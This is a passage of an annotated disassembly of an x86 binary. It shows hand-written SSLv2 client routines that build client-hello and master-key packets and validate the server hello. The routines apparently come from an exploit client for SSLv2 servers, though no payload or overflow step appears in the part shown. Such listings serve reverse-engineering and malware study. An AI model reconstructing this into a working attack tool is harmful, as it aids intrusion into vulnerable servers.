jump at 0804a40f ; 0804a4d1 mov 0xc(%ebp),%eax 0804a4d4 cmpb $0x0,(%eax) 0804a4d7 jne 0804a538 0804a4d9 cmpl $0x3,0xfffffffc(%ebp) 0804a4dd je 0804a508 0804a4df mov 0x8(%ebp),%eax 0804a4e2 movl $0x2,0x7c(%eax) 0804a4e9 sub $0x8,%esp Possible reference to string: "read_ssl_packet: Malformed server error message" 0804a4ec push $0x804c660 0804a4f1 mov 0x8(%ebp),%eax 0804a4f4 sub $0xffffff80,%eax 0804a4f7 push %eax 0804a4f8 call 08048e6c <_init+0x2d8> 0804a4fd add $0x10,%esp 0804a500 mov $0x0,%eax 0804a505 jmp 0804a53d 0804a507 nop Referenced from jump at 0804a4dd ; 0804a508 sub $0x8,%esp 0804a50b mov 0xc(%ebp),%eax 0804a50e inc %eax 0804a50f movzwl (%eax),%eax 0804a512 sub $0x4,%esp 0804a515 push %eax 0804a516 call 08048cfc <_init+0x168> 0804a51b add $0x8,%esp 0804a51e mov %eax,%eax 0804a520 mov %eax,%eax 0804a522 movzwl %ax,%eax 0804a525 push %eax 0804a526 pushl 0x8(%ebp) 0804a529 call 0804a154 0804a52e add $0x10,%esp 0804a531 mov $0x0,%eax 0804a536 jmp 0804a53d Referenced from jump at 0804a4d7 ; 0804a538 mov 0xfffffffc(%ebp),%eax 0804a53b mov %eax,%eax Referenced from jump at 0804a303 ; 0804a3b9 ; 0804a402 ; 0804a45c ; 0804a48d ; 0804a505 ; 0804a536 ; 0804a53d leave 0804a53e ret 0804a53f nop ---- Function : send_ssl_packet ---- Referenced from call at 0804a801 ; 0804aeb3 ; 0804b23d ; 0804a540 push %ebp 0804a541 mov %esp,%ebp 0804a543 sub $0x4088,%esp 0804a549 mov 0x8(%ebp),%eax 0804a54c cmpl $0x0,0x74(%eax) 0804a550 je 0804a560 0804a552 mov 0x10(%ebp),%eax 0804a555 add $0x10,%eax 0804a558 mov %eax,0xffffbff0(%ebp) 0804a55e jmp 0804a569 Referenced from jump at 0804a550 ; 0804a560 mov 0x10(%ebp),%eax 0804a563 mov %eax,0xffffbff0(%ebp) Referenced from jump at 0804a55e ; 0804a569 mov 0xffffbff0(%ebp),%eax 0804a56f add $0x2,%eax 0804a572 cmp $0x4000,%eax 0804a577 jle 0804a598 0804a579 sub $0x8,%esp 0804a57c pushl 0x10(%ebp) Possible reference to string: "send_ssl_packet: Record length out of range (rec_len = %d)" 0804a57f push $0x804c6a0 0804a584 call 08048d8c <_init+0x1f8> 0804a589 add $0x10,%esp 0804a58c sub $0xc,%esp 0804a58f push $0x1 0804a591 call 08048dfc <_init+0x268> 0804a596 mov %esi,%esi Referenced from jump at 0804a577 ; 0804a598 lea 0xffffbff8(%ebp),%eax 0804a59e mov %eax,0xffffbff4(%ebp) 0804a5a4 mov 0xffffbff4(%ebp),%edx 0804a5aa mov 0xffffbff0(%ebp),%eax 0804a5b0 sar $0x8,%eax 0804a5b3 and $0xffffffff,%eax 0804a5b6 mov %al,(%edx) 0804a5b8 mov 0xffffbff4(%ebp),%edx 0804a5be inc %edx 0804a5bf mov 0xffffbff0(%ebp),%al 0804a5c5 and $0xffffffff,%eax 0804a5c8 mov %al,(%edx) 0804a5ca lea 0xffffbff4(%ebp),%eax 0804a5d0 addl $0x2,(%eax) 0804a5d3 lea 0xffffbff8(%ebp),%eax 0804a5d9 orb $0x80,(%eax) 0804a5dc mov 0x8(%ebp),%eax 0804a5df cmpl $0x0,0x74(%eax) 0804a5e3 je 0804a6c4 0804a5e9 mov 0x8(%ebp),%eax 0804a5ec sub $0xc,%esp 0804a5ef pushl 0x70(%eax) 0804a5f2 call 08048bcc <_init+0x38> 0804a5f7 add $0x10,%esp 0804a5fa mov %eax,%eax 0804a5fc mov %eax,0xffffbf84(%ebp) 0804a602 sub $0xc,%esp 0804a605 lea 0xffffbf88(%ebp),%eax 0804a60b push %eax 0804a60c call 08048cec <_init+0x158> 0804a611 add $0x10,%esp 0804a614 sub $0x4,%esp 0804a617 push $0x10 0804a619 mov 0x8(%ebp),%eax 0804a61c pushl 0x60(%eax) 0804a61f lea 0xffffbf88(%ebp),%eax 0804a625 push %eax 0804a626 call 08048eac <_init+0x318> 0804a62b add $0x10,%esp 0804a62e sub $0x4,%esp 0804a631 pushl 0x10(%ebp) 0804a634 pushl 0xc(%ebp) 0804a637 lea 0xffffbf88(%ebp),%eax 0804a63d push %eax 0804a63e call 08048eac <_init+0x318> 0804a643 add $0x10,%esp 0804a646 sub $0x4,%esp 0804a649 push $0x4 0804a64b lea 0xffffbf84(%ebp),%eax 0804a651 push %eax 0804a652 lea 0xffffbf88(%ebp),%eax 0804a658 push %eax 0804a659 call 08048eac <_init+0x318> 0804a65e add $0x10,%esp 0804a661 sub $0x8,%esp 0804a664 lea 0xffffbf88(%ebp),%eax 0804a66a push %eax 0804a66b pushl 0xffffbff4(%ebp) 0804a671 call 08048d4c <_init+0x1b8> 0804a676 add $0x10,%esp 0804a679 lea 0xffffbff4(%ebp),%eax 0804a67f addl $0x10,(%eax) 0804a682 sub $0x4,%esp 0804a685 pushl 0x10(%ebp) 0804a688 pushl 0xc(%ebp) 0804a68b pushl 0xffffbff4(%ebp) 0804a691 call 08048d9c <_init+0x208> 0804a696 add $0x10,%esp 0804a699 lea 0xffffbff8(%ebp),%eax 0804a69f add $0x2,%eax 0804a6a2 push %eax 0804a6a3 lea 0xffffbff8(%ebp),%eax 0804a6a9 add $0x2,%eax 0804a6ac push %eax 0804a6ad pushl 0xffffbff0(%ebp) 0804a6b3 mov 0x8(%ebp),%eax 0804a6b6 pushl 0x68(%eax) 0804a6b9 call 08048cac <_init+0x118> 0804a6be add $0x10,%esp 0804a6c1 jmp 0804a6db 0804a6c3 nop Referenced from jump at 0804a5e3 ; 0804a6c4 sub $0x4,%esp 0804a6c7 pushl 0x10(%ebp) 0804a6ca pushl 0xc(%ebp) 0804a6cd pushl 0xffffbff4(%ebp) 0804a6d3 call 08048d9c <_init+0x208> 0804a6d8 add $0x10,%esp Referenced from jump at 0804a6c1 ; 0804a6db push $0x0 0804a6dd mov 0xffffbff0(%ebp),%eax 0804a6e3 add $0x2,%eax 0804a6e6 push %eax 0804a6e7 lea 0xffffbff8(%ebp),%eax 0804a6ed push %eax 0804a6ee mov 0x8(%ebp),%eax 0804a6f1 pushl (%eax) 0804a6f3 call 08048e3c <_init+0x2a8> 0804a6f8 add $0x10,%esp 0804a6fb mov %eax,%eax 0804a6fd cmp $0xffffffff,%eax 0804a700 jne 0804a73c 0804a702 sub $0x8,%esp 0804a705 sub $0x4,%esp 0804a708 sub $0x4,%esp 0804a70b call 08048c6c <_init+0xd8> 0804a710 add $0x4,%esp 0804a713 mov %eax,%eax 0804a715 mov %eax,%eax 0804a717 pushl (%eax) 0804a719 call 08048c3c <_init+0xa8> 0804a71e add $0x8,%esp 0804a721 mov %eax,%eax 0804a723 push %eax Possible reference to string: "Error in send: %s" 0804a724 push $0x804c6dc 0804a729 call 08048d8c <_init+0x1f8> 0804a72e add $0x10,%esp 0804a731 sub $0xc,%esp 0804a734 push $0x1 0804a736 call 08048dfc <_init+0x268> 0804a73b nop Referenced from jump at 0804a700 ; 0804a73c mov 0x8(%ebp),%eax 0804a73f incl 0x70(%eax) 0804a742 leave 0804a743 ret ---- Function : send_client_hello ---- Referenced from call at 0804931b ; 08049450 ; 0804a744 push %ebp 0804a745 mov %esp,%ebp 0804a747 push %edi 0804a748 push %esi 0804a749 push %ebx 0804a74a sub $0x401c,%esp 0804a750 lea 0xffffbfd8(%ebp),%edi Possible reference to string: "" 0804a756 mov $0x804c700,%esi 0804a75b cld 0804a75c mov $0x22,%ecx 0804a761 repz movsb %ds:(%esi),%es:(%edi) 0804a763 lea 0xffffbffa(%ebp),%edi 0804a769 cld 0804a76a mov $0x3fde,%ecx 0804a76f mov $0x0,%al 0804a771 repz stos %al,%es:(%edi) 0804a773 mov 0x8(%ebp),%eax 0804a776 cmpl $0x0,0x7c(%eax) 0804a77a je 0804a788 0804a77c mov $0x0,%eax 0804a781 jmp 0804a80e 0804a786 mov %esi,%esi Referenced from jump at 0804a77a ; 0804a788 mov 0x8(%ebp),%eax 0804a78b cmpl $0x0,0x78(%eax) 0804a78f je 0804a7a1 0804a791 sub $0xc,%esp Possible reference to string: " -> send_client_hello" 0804a794 push $0x804c722 0804a799 call 08048d8c <_init+0x1f8> 0804a79e add $0x10,%esp Referenced from jump at 0804a78f ; 0804a7a1 movl $0x0,0xffffffe4(%ebp) Referenced from jump at 0804a7cf ; 0804a7a8 cmpl $0xf,0xffffffe4(%ebp) 0804a7ac jle 0804a7b0 0804a7ae jmp 0804a7d4 Referenced from jump at 0804a7ac ; 0804a7b0 call 08048e9c <_init+0x308> 0804a7b5 mov %eax,%ebx 0804a7b7 mov 0x8(%ebp),%eax 0804a7ba add $0x4,%eax 0804a7bd mov %eax,%ecx 0804a7bf mov 0xffffffe4(%ebp),%edx 0804a7c2 mov %ebx,%eax 0804a7c4 sar $0x18,%eax 0804a7c7 mov %al,(%edx,%ecx,1) 0804a7ca lea 0xffffffe4(%ebp),%eax 0804a7cd incl (%eax) 0804a7cf jmp 0804a7a8 0804a7d1 lea 0x0(%esi),%esi Referenced from jump at 0804a7ae ; 0804a7d4 sub $0x4,%esp 0804a7d7 push $0x10 0804a7d9 mov 0x8(%ebp),%eax 0804a7dc add $0x4,%eax 0804a7df push %eax 0804a7e0 lea 0xffffbfd8(%ebp),%eax 0804a7e6 add $0x21,%eax 0804a7e9 push %eax 0804a7ea call 08048d9c <_init+0x208> 0804a7ef add $0x10,%esp 0804a7f2 sub $0x4,%esp 0804a7f5 push $0x31 0804a7f7 lea 0xffffbfd8(%ebp),%eax 0804a7fd push %eax 0804a7fe pushl 0x8(%ebp) 0804a801 call 0804a540 0804a806 add $0x10,%esp 0804a809 mov $0x1,%eax Referenced from jump at 0804a781 ; 0804a80e lea 0xfffffff4(%ebp),%esp 0804a811 pop %ebx 0804a812 pop %esi 0804a813 pop %edi 0804a814 pop %ebp 0804a815 ret 0804a816 mov %esi,%esi ---- Function : get_server_hello ---- Referenced from call at 08049329 ; 0804945e ; 0804a818 push %ebp 0804a819 mov %esp,%ebp 0804a81b sub $0x4038,%esp 0804a821 mov 0x8(%ebp),%eax 0804a824 cmpl $0x0,0x7c(%eax) 0804a828 je 0804a834 0804a82a mov $0x0,%eax 0804a82f jmp 0804ac67 Referenced from jump at 0804a828 ; 0804a834 mov 0x8(%ebp),%eax 0804a837 cmpl $0x0,0x78(%eax) 0804a83b je 0804a84d 0804a83d sub $0xc,%esp Possible reference to string: " -> get_server_hello" 0804a840 push $0x804c739 0804a845 call 08048d8c <_init+0x1f8> 0804a84a add $0x10,%esp Referenced from jump at 0804a83b ; 0804a84d sub $0x4,%esp 0804a850 push $0x4000 0804a855 lea 0xffffbff8(%ebp),%eax 0804a85b push %eax 0804a85c pushl 0x8(%ebp) 0804a85f call 0804a2bc 0804a864 add $0x10,%esp 0804a867 mov %eax,%eax 0804a869 mov %eax,0xffffbfec(%ebp) 0804a86f cmpl $0x0,0xffffbfec(%ebp) 0804a876 jne 0804a884 0804a878 mov $0x0,%eax 0804a87d jmp 0804ac67 0804a882 mov %esi,%esi Referenced from jump at 0804a876 ; 0804a884 cmpl $0xa,0xffffbfec(%ebp) 0804a88b jg 0804a8c0 0804a88d mov 0x8(%ebp),%eax 0804a890 movl $0x2,0x7c(%eax) 0804a897 sub $0x4,%esp 0804a89a pushl 0xffffbfec(%ebp) Possible reference to string: "get_server_hello: Packet too short (len = %d)" 0804a8a0 push $0x804c760 0804a8a5 mov 0x8(%ebp),%eax 0804a8a8 sub $0xffffff80,%eax 0804a8ab push %eax 0804a8ac call 08048e6c <_init+0x2d8> 0804a8b1 add $0x10,%esp 0804a8b4 mov $0x0,%eax 0804a8b9 jmp 0804ac67 0804a8be mov %esi,%esi Referenced from jump at 0804a88b ; 0804a8c0 lea 0xffffbff8(%ebp),%eax 0804a8c6 mov %eax,0xffffbff4(%ebp) 0804a8cc mov 0xffffbff4(%ebp),%edx 0804a8d2 lea 0xffffbff4(%ebp),%eax 0804a8d8 incl (%eax) 0804a8da cmpb $0x4,(%edx) 0804a8dd je 0804a918 0804a8df mov 0x8(%ebp),%eax 0804a8e2 movl $0x2,0x7c(%eax) 0804a8e9 sub $0x4,%esp 0804a8ec mov 0xffffbff4(%ebp),%eax 0804a8f2 dec %eax 0804a8f3 movzbl (%eax),%eax 0804a8f6 push %eax Possible reference to string: "get_server_hello: Expected SSL2_MT_SERVER_HELLO, got 0x%02x" 0804a8f7 push $0x804c7a0 0804a8fc mov 0x8(%ebp),%eax 0804a8ff sub $0xffffff80,%eax 0804a902 push %eax 0804a903 call 08048e6c <_init+0x2d8> 0804a908 add $0x10,%esp 0804a90b mov $0x0,%eax 0804a910 jmp 0804ac67 0804a915 lea 0x0(%esi),%esi Referenced from jump at 0804a8dd ; 0804a918 mov 0xffffbff4(%ebp),%edx 0804a91e lea 0xffffbff4(%ebp),%eax 0804a924 incl (%eax) 0804a926 cmpb $0x0,(%edx) 0804a929 je 0804a958 0804a92b mov 0x8(%ebp),%eax 0804a92e movl $0x2,0x7c(%eax) 0804a935 sub $0x8,%esp Possible reference to string: "get_server_hello: SESSION-ID-HIT is not 0" 0804a938 push $0x804c7e0 0804a93d mov 0x8(%ebp),%eax 0804a940 sub $0xffffff80,%eax 0804a943 push %eax 0804a944 call 08048e6c <_init+0x2d8> 0804a949 add $0x10,%esp 0804a94c mov $0x0,%eax 0804a951 jmp 0804ac67 0804a956 mov %esi,%esi Referenced from jump at 0804a929 ; 0804a958 mov 0xffffbff4(%ebp),%edx 0804a95e lea 0xffffbff4(%ebp),%eax 0804a964 incl (%eax) 0804a966 cmpb $0x1,(%edx) 0804a969 je 0804a998 0804a96b mov 0x8(%ebp),%eax 0804a96e movl $0x2,0x7c(%eax) 0804a975 sub $0x8,%esp Possible reference to string: "get_server_hello: CERTIFICATE-TYPE is not SSL_CT_X509_CERTIFICATE" 0804a978 push $0x804c820 0804a97d mov 0x8(%ebp),%eax 0804a980 sub $0xffffff80,%eax 0804a983 push %eax 0804a984 call 08048e6c <_init+0x2d8> 0804a989 add $0x10,%esp 0804a98c mov $0x0,%eax 0804a991 jmp 0804ac67 0804a996 mov %esi,%esi Referenced from jump at 0804a969 ; 0804a998 mov 0xffffbff4(%ebp),%eax 0804a99e movzbl (%eax),%eax 0804a9a1 mov %eax,%edx 0804a9a3 shl $0x8,%edx 0804a9a6 mov 0xffffbff4(%ebp),%eax 0804a9ac inc %eax 0804a9ad movzbl (%eax),%eax 0804a9b0 or %edx,%eax 0804a9b2 mov %eax,0xffffbfe8(%ebp) 0804a9b8 lea 0xffffbff4(%ebp),%eax 0804a9be addl $0x2,(%eax) 0804a9c1 cmpl $0x2,0xffffbfe8(%ebp) 0804a9c8 je 0804a9fc 0804a9ca mov 0x8(%ebp),%eax 0804a9cd movl $0x2,0x7c(%eax) 0804a9d4 sub $0x4,%esp 0804a9d7 pushl 0xffffbfe8(%ebp) Possible reference to string: "get_server_hello: Unsupported server version %d" 0804a9dd push $0x804c880 0804a9e2 mov 0x8(%ebp),%eax 0804a9e5 sub $0xffffff80,%eax 0804a9e8 push %eax 0804a9e9 call 08048e6c <_init+0x2d8> 0804a9ee add $0x10,%esp 0804a9f1 mov $0x0,%eax 0804a9f6 jmp 0804ac67 0804a9fb nop Referenced from jump at 0804a9c8 ; 0804a9fc mov 0xffffbff4(%ebp),%eax 0804aa02 movzbl (%eax),%eax 0804aa05 mov %eax,%edx 0804aa07 shl $0x8,%edx 0804aa0a mov 0xffffbff4(%ebp),%eax 0804aa10 inc %eax 0804aa11 movzbl (%eax),%eax 0804aa14 or %edx,%eax 0804aa16 mov %eax,0xffffbfe4(%ebp) 0804aa1c lea 0xffffbff4(%ebp),%eax 0804aa22 addl $0x2,(%eax) 0804aa25 mov 0xffffbff4(%ebp),%eax 0804aa2b movzbl (%eax),%eax 0804aa2e mov %eax,%edx 0804aa30 shl $0x8,%edx 0804aa33 mov 0xffffbff4(%ebp),%eax 0804aa39 inc %eax 0804aa3a movzbl (%eax),%eax 0804aa3d or %edx,%eax 0804aa3f mov %eax,0xffffbfe0(%ebp) 0804aa45 lea 0xffffbff4(%ebp),%eax 0804aa4b addl $0x2,(%eax) 0804aa4e mov 0xffffbff4(%ebp),%eax 0804aa54 movzbl (%eax),%eax 0804aa57 mov %eax,%edx 0804aa59 shl $0x8,%edx 0804aa5c mov 0xffffbff4(%ebp),%eax 0804aa62 inc %eax 0804aa63 movzbl (%eax),%eax 0804aa66 or %edx,%eax 0804aa68 mov %eax,0xffffbfdc(%ebp) 0804aa6e lea 0xffffbff4(%ebp),%eax 0804aa74 addl $0x2,(%eax) 0804aa77 mov 0xffffbfe0(%ebp),%eax 0804aa7d add 0xffffbfe4(%ebp),%eax 0804aa83 add 0xffffbfdc(%ebp),%eax 0804aa89 add $0xb,%eax 0804aa8c cmp %eax,0xffffbfec(%ebp) 0804aa92 je 0804aac0 0804aa94 mov 0x8(%ebp),%eax 0804aa97 movl $0x2,0x7c(%eax) 0804aa9e sub $0x8,%esp Possible reference to string: "get_server_hello: Malformed packet size" 0804aaa1 push $0x804c8c0 0804aaa6 mov 0x8(%ebp),%eax 0804aaa9 sub $0xffffff80,%eax 0804aaac push %eax 0804aaad call 08048e6c <_init+0x2d8> 0804aab2 add $0x10,%esp 0804aab5 mov $0x0,%eax 0804aaba jmp 0804ac67 0804aabf nop Referenced from jump at 0804aa92 ; 0804aac0 mov 0x8(%ebp),%eax 0804aac3 movl $0x0,0x58(%eax) 0804aaca sub $0x4,%esp 0804aacd pushl 0xffffbfe4(%ebp) 0804aad3 lea 0xffffbff4(%ebp),%eax 0804aad9 push %eax 0804aada push $0x0 0804aadc call 08048e8c <_init+0x2f8> 0804aae1 add $0x10,%esp 0804aae4 mov %eax,%edx 0804aae6 mov 0x8(%ebp),%eax 0804aae9 mov %edx,0x58(%eax) 0804aaec mov 0x8(%ebp),%eax 0804aaef cmpl $0x0,0x58(%eax) 0804aaf3 jne 0804ab20 0804aaf5 mov 0x8(%ebp),%eax 0804aaf8 movl $0x2,0x7c(%eax) 0804aaff sub $0x8,%esp Possible reference to string: "get_server_hello: Cannot parse x509 certificate" 0804ab02 push $0x804c900 0804ab07 mov 0x8(%ebp),%eax 0804ab0a sub $0xffffff80,%eax 0804ab0d push %eax 0804ab0e call 08048e6c <_init+0x2d8> 0804ab13 add $0x10,%esp 0804ab16 mov $0x0,%eax 0804ab1b jmp 0804ac67 Referenced from jump at 0804aaf3 ; 0804ab20 mov 0xffffbfe0(%ebp),%edx 0804ab26 movl $0x3,0xffffbfd4(%ebp) 0804ab30 mov %edx,%eax 0804ab32 cltd 0804ab33 idivl 0xffffbfd4(%ebp) 0804ab39 test %edx,%edx 0804ab3b je 0804ab68 0804ab3d mov 0x8(%ebp),%eax 0804ab40 movl $0x2,0x7c(%eax) 0804ab47 sub $0x8,%esp Possible reference to string: "get_server_hello: CIPHER-SPECS-LENGTH is not a multiple of 3" 0804ab4a push $0x804c940 0804ab4f mov 0x8(%ebp),%eax 0804ab52 sub $0xffffff80,%eax 0804ab55 push %eax 0804ab56 call 08048e6c <_init+0x2d8> 0804ab5b add $0x10,%esp 0804ab5e mov $0x0,%eax 0804ab63 jmp 0804ac67 Referenced from jump at 0804ab3b ; 0804ab68 movl $0x0,0xffffbfd8(%ebp) 0804ab72 mov 0xffffbfe0(%ebp),%eax 0804ab78 add 0xffffbff4(%ebp),%eax 0804ab7e mov %eax,0xffffbff0(%ebp) Referenced from jump at 0804abcc ; 0804ab84 mov 0xffffbff4(%ebp),%eax 0804ab8a cmp 0xffffbff0(%ebp),%eax 0804ab90 jb 0804ab94 0804ab92 jmp 0804abd0 Referenced from jump at 0804ab90 ; 0804ab94 mov 0xffffbff4(%ebp),%eax 0804ab9a cmpb $0x1,(%eax) 0804ab9d jne 0804abc3 0804ab9f mov 0xffffbff4(%ebp),%eax 0804aba5 inc %eax 0804aba6 cmpb $0x0,(%eax) 0804aba9 jne 0804abc3 0804abab mov 0xffffbff4(%ebp),%eax 0804abb1 add $0x2,%eax 0804abb4 cmpb $0x80,(%eax) 0804abb7 jne 0804abc3 0804abb9 movl $0x1,0xffffbfd8(%ebp) Referenced from jump at 0804ab9d ; 0804aba9 ; 0804abb7 ; 0804abc3 lea 0xffffbff4(%ebp),%eax 0804abc9 addl $0x3,(%eax) 0804abcc jmp 0804ab84 0804abce mov %esi,%esi Referenced from jump at 0804ab92 ; 0804abd0 cmpl $0x0,0xffffbfd8(%ebp) 0804abd7 jne 0804ac04 0804abd9 mov 0x8(%ebp),%eax 0804abdc movl $0x2,0x7c(%eax) 0804abe3 sub $0x8,%esp Possible reference to string: "get_server_hello: Remote server does not support 128 bit RC4" 0804abe6 push $0x804c980 0804abeb mov 0x8(%ebp),%eax 0804abee sub $0xffffff80,%eax 0804abf1 push %eax 0804abf2 call 08048e6c <_init+0x2d8> 0804abf7 add $0x10,%esp 0804abfa mov $0x0,%eax 0804abff jmp 0804ac67 0804ac01 lea 0x0(%esi),%esi Referenced from jump at 0804abd7 ; 0804ac04 cmpl $0x10,0xffffbfdc(%ebp) 0804ac0b jle 0804ac38 0804ac0d mov 0x8(%ebp),%eax 0804ac10 movl $0x2,0x7c(%eax) 0804ac17 sub $0x8,%esp Possible reference to string: "get_server_hello: CONNECTION-ID-LENGTH is too long" 0804ac1a push $0x804c9c0 0804ac1f mov 0x8(%ebp),%eax 0804ac22 sub $0xffffff80,%eax 0804ac25 push %eax 0804ac26 call 08048e6c <_init+0x2d8> 0804ac2b add $0x10,%esp 0804ac2e mov $0x0,%eax 0804ac33 jmp 0804ac67 0804ac35 lea 0x0(%esi),%esi Referenced from jump at 0804ac0b ; 0804ac38 mov 0x8(%ebp),%eax 0804ac3b mov 0xffffbfdc(%ebp),%edx 0804ac41 mov %edx,0x44(%eax) 0804ac44 sub $0x4,%esp 0804ac47 pushl 0xffffbfdc(%ebp) 0804ac4d pushl 0xffffbff4(%ebp) 0804ac53 mov 0x8(%ebp),%eax 0804ac56 add $0x48,%eax 0804ac59 push %eax 0804ac5a call 08048d9c <_init+0x208> 0804ac5f add $0x10,%esp 0804ac62 mov $0x1,%eax Referenced from jump at 0804a82f ; 0804a87d ; 0804a8b9 ; 0804a910 ; 0804a951 ; 0804a991 ; 0804a9f6 ; 0804aaba ; 0804ab1b ; 0804ab63 ; 0804abff ; 0804ac33 ; 0804ac67 leave 0804ac68 ret 0804ac69 lea 0x0(%esi),%esi ---- Function : send_client_master_key ---- Referenced from call at 08049343 ; 080494b0 ; 0804ac6c push %ebp 0804ac6d mov %esp,%ebp 0804ac6f push %edi 0804ac70 push %esi 0804ac71 push %ebx 0804ac72 sub $0x402c,%esp 0804ac78 movl $0x0,0xffffffd0(%ebp) 0804ac7f lea 0xffffbfc8(%ebp),%edi Possible reference to string: "" 0804ac85 mov $0x804c9f3,%esi 0804ac8a cld 0804ac8b mov $0xb,%ecx 0804ac90 repz movsb %ds:(%esi),%es:(%edi) 0804ac92 lea 0xffffbfd3(%ebp),%edi 0804ac98 cld 0804ac99 mov $0x3ff5,%ecx 0804ac9e mov $0x0,%al 0804aca0 repz stos %al,%es:(%edi) 0804aca2 mov 0x8(%ebp),%eax 0804aca5 cmpl $0x0,0x7c(%eax) 0804aca9 je 0804acb8 0804acab mov $0x0,%eax 0804acb0 jmp 0804aeca 0804acb5 lea 0x0(%esi),%esi Referenced from jump at 0804aca9 ; 0804acb8 mov 0x8(%ebp),%eax 0804acbb cmpl $0x0,0x78(%eax) 0804acbf je 0804acd1 0804acc1 sub $0xc,%esp Possible reference to string: " -> send_client_master_key" 0804acc4 push $0x804c9fe 0804acc9 call 08048d8c <_init+0x1f8> 0804acce add $0x10,%esp Referenced from jump at 0804acbf ; 0804acd1 lea 0xffffbfc8(%ebp),%eax 0804acd7 add $0xa,%eax 0804acda mov %eax,0xffffffd8(%ebp) 0804acdd movl $0x0,0xffffffd4(%ebp) Referenced from jump at 0804ad0e ; 0804ace4 cmpl $0xf,0xffffffd4(%ebp) 0804ace8 jle 0804acec 0804acea jmp 0804ad10 Referenced from jump at 0804ace8 ; 0804acec call 08048e9c <_init+0x308> 0804acf1 mov %eax,%ebx 0804acf3 mov 0x8(%ebp),%eax 0804acf6 mov 0xffffffd4(%ebp),%ecx 0804acf9 add $0x10,%ecx 0804acfc add $0x4,%eax 0804acff mov %eax,%edx 0804ad01 mov %ebx,%eax 0804ad03 sar $0x18,%eax 0804ad06 mov %al,(%ecx,%edx,1) 0804ad09 lea 0xffffffd4(%ebp),%eax 0804ad0c incl (%eax) 0804ad0e jmp 0804ace4 Referenced from jump at 0804acea ; 0804ad10 sub $0xc,%esp 0804ad13 mov 0x8(%ebp),%eax 0804ad16 pushl 0x58(%eax) 0804ad19 call 08048c5c <_init+0xc8> 0804ad1e add $0x10,%esp 0804ad21 mov %eax,%eax 0804ad23 mov %eax,0xffffffd0(%ebp) 0804ad26 cmpl $0x0,0xffffffd0(%ebp) 0804ad2a jne 0804ad58 0804ad2c mov 0x8(%ebp),%eax 0804ad2f movl $0x2,0x7c(%eax) 0804ad36 sub $0x8,%esp Possible reference to string: "send_client_master_key: No public key in the server certificate" 0804ad39 push $0x804ca20 0804ad3e mov 0x8(%ebp),%eax 0804ad41 sub $0xffffff80,%eax 0804ad44 push %eax 0804ad45 call 08048e6c <_init+0x2d8> 0804ad4a add $0x10,%esp 0804ad4d mov $0x0,%eax 0804ad52 jmp 0804aeca 0804ad57 nop Referenced from jump at 0804ad2a ; 0804ad58 mov 0xffffffd0(%ebp),%eax 0804ad5b cmpl $0x6,(%eax) 0804ad5e je 0804ad8c 0804ad60 mov 0x8(%ebp),%eax 0804ad63 movl $0x2,0x7c(%eax) 0804ad6a sub $0x8,%esp Possible reference to string: "send_client_master_key: The public key in the server certificate is not a RSA key" 0804ad6d push $0x804ca60 0804ad72 mov 0x8(%ebp),%eax 0804ad75 sub $0xffffff80,%eax 0804ad78 push %eax 0804ad79 call 08048e6c <_init+0x2d8> 0804ad7e add $0x10,%esp 0804ad81 mov $0x0,%eax 0804ad86 jmp 0804aeca 0804ad8b nop Referenced from jump at 0804ad5e ; 0804ad8c sub $0xc,%esp 0804ad8f push $0x1 0804ad91 mov 0xffffffd0(%ebp),%eax 0804ad94 pushl 0xc(%eax) 0804ad97 lea 0xffffbfc8(%ebp),%eax 0804ad9d add $0xa,%eax 0804ada0 push %eax 0804ada1 mov 0x8(%ebp),%eax 0804ada4 add $0x14,%eax 0804ada7 push %eax 0804ada8 push $0x10 0804adaa call 08048d3c <_init+0x1a8> 0804adaf add $0x20,%esp 0804adb2 mov %eax,%eax 0804adb4 mov %eax,0xffffffe4(%ebp) 0804adb7 cmpl $0x0,0xffffffe4(%ebp) 0804adbb jg 0804ade8 0804adbd mov 0x8(%ebp),%eax 0804adc0 movl $0x2,0x7c(%eax) 0804adc7 sub $0x8,%esp Possible reference to string: "send_client_master_key: RSA encryption failure" 0804adca push $0x804cac0 0804adcf mov 0x8(%ebp),%eax 0804add2 sub $0xffffff80,%eax 0804add5 push %eax 0804add6 call 08048e6c <_init+0x2d8> 0804addb add $0x10,%esp 0804adde mov $0x0,%eax 0804ade3 jmp 0804aeca Referenced from jump at 0804adbb ; 0804ade8 mov 0xffffffe4(%ebp),%edx 0804adeb lea 0xffffffd8(%ebp),%eax 0804adee add %edx,(%eax) 0804adf0 cmpl $0x0,0xc(%ebp) 0804adf4 je 0804ae44 0804adf6 movl $0x0,0xffffffd4(%ebp) 0804adfd lea 0x0(%esi),%esi Referenced from jump at 0804ae41 ; 0804ae00 cmpl $0x7,0xffffffd4(%ebp) 0804ae04 jle 0804ae28 0804ae06 sub $0x4,%esp 0804ae09 pushl 0x10(%ebp) 0804ae0c pushl 0xc(%ebp) 0804ae0f pushl 0xffffffd8(%ebp) 0804ae12 call 08048d9c <_init+0x208> 0804ae17 add $0x10,%esp 0804ae1a mov 0x10(%ebp),%eax 0804ae1d add $0x8,%eax 0804ae20 mov %eax,0xffffffe0(%ebp) 0804ae23 jmp 0804ae4b 0804ae25 lea 0x0(%esi),%esi Referenced from jump at 0804ae04 ; 0804ae28 call 08048e9c <_init+0x308> 0804ae2d mov %eax,%eax 0804ae2f mov 0xffffffd8(%ebp),%edx 0804ae32 sar $0x18,%eax 0804ae35 mov %al,(%edx) 0804ae37 lea 0xffffffd8(%ebp),%eax 0804ae3a incl (%eax) 0804ae3c lea 0xffffffd4(%ebp),%eax 0804ae3f incl (%eax) 0804ae41 jmp 0804ae00 0804ae43 nop Referenced from jump at 0804adf4 ; 0804ae44 movl $0x0,0xffffffe0(%ebp) Referenced from jump at 0804ae23 ; 0804ae4b lea 0xffffbfc8(%ebp),%eax 0804ae51 add $0x6,%eax 0804ae54 mov %eax,0xffffffd8(%ebp) 0804ae57 mov 0xffffffd8(%ebp),%edx 0804ae5a mov 0xffffffe4(%ebp),%eax 0804ae5d sar $0x8,%eax 0804ae60 and $0xffffffff,%eax 0804ae63 mov %al,(%edx) 0804ae65 mov 0xffffffd8(%ebp),%edx 0804ae68 inc %edx 0804ae69 mov 0xffffffe4(%ebp),%al 0804ae6c and $0xffffffff,%eax 0804ae6f mov %al,(%edx) 0804ae71 lea 0xffffffd8(%ebp),%eax 0804ae74 addl $0x2,(%eax) 0804ae77 mov 0xffffffd8(%ebp),%edx 0804ae7a mov 0xffffffe0(%ebp),%eax 0804ae7d sar $0x8,%eax 0804ae80 and $0xffffffff,%eax 0804ae83 mov %al,(%edx) 0804ae85 mov 0xffffffd8(%ebp),%edx 0804ae88 inc %edx 0804ae89 mov 